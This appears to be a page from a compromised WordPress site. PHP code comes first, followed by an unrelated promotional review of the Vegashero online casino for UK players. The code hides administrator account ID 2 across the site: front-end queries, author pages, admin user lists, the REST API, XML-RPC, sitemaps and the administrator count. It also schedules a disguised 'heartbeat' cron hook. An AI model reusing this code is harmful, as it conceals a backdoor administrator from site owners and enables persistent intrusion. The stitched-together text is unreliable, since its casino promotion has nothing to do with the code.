add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 2 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 2;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Creating an account is straightforward: visit the Vegashero Casino site, click “Register,” and fill in your details. The process takes less than a minute, and you’ll receive a 20% welcome bonus on your first deposit, capped at £100. That’s a solid start, especially compared to the usual 10–15% offers elsewhere.
One caveat: the bonus requires a 30x wagering requirement. While that’s standard, it’s worth noting that you’ll need to bet £3,000 before you can withdraw the bonus cash.
Vegashero’s library boasts over 1,200 titles. The lineup includes:
What’s impressive is the balance between classic and contemporary. A player can spin a vintage 5‑reel slot or try a 3D progressive jackpot with a payout of up to £2 million. The only downside is the absence of a dedicated mobile app; the mobile site works, but it feels a bit clunky on older phones.
After the initial deposit, the casino rolls out weekly reload bonuses. The most recent 5% reload offer capped at £50 comes with a 20x wagering requirement. There’s also a free spin promotion every Friday for the top 10 slots.
However, the loyalty program is modest. Players earn points at a rate of 1 point per £1 wagered, and you need 5,000 points for a free £50 credit. That means you’ll have to play a lot before seeing a tangible reward.

Deposits are instant via Visa, Mastercard, and PayPal. Withdrawals via bank transfer take 2–3 business days, while e‑wallets like Skrill or Neteller settle within 24 hours. If you prefer a faster payout, the casino offers a 5% bonus on your first withdrawal, but only if you use a credit card.
One limitation: the casino does not support crypto deposits, which is a growing trend among UK players looking for anonymity and speed.
Live chat is available around the clock, and response times average 30 seconds. Email support takes up to 24 hours, so if you’re waiting on a withdrawal, chat is your best bet. The FAQ section covers most common queries, but there’s no phone support, which might frustrate players who prefer voice communication.
Many players overlook how the wagering requirements can affect their bankroll. The 30x requirement on the welcome bonus and 20x on reloads mean you’ll need to bet 30–40 times the bonus amount before you can cash out. Plan your bankroll accordingly.
If you’re a UK player looking for a fresh collection of slots and quick payouts, Vegas Hero offers a solid experience. The welcome bonus and weekly reloads are generous, and the game selection is wide enough to keep you engaged for months. However, if you rely on crypto or need a mobile app, you might find the platform lacking. Overall, for players who value variety and speed over advanced loyalty perks, Vegashero Casino is a reliable choice.
]]>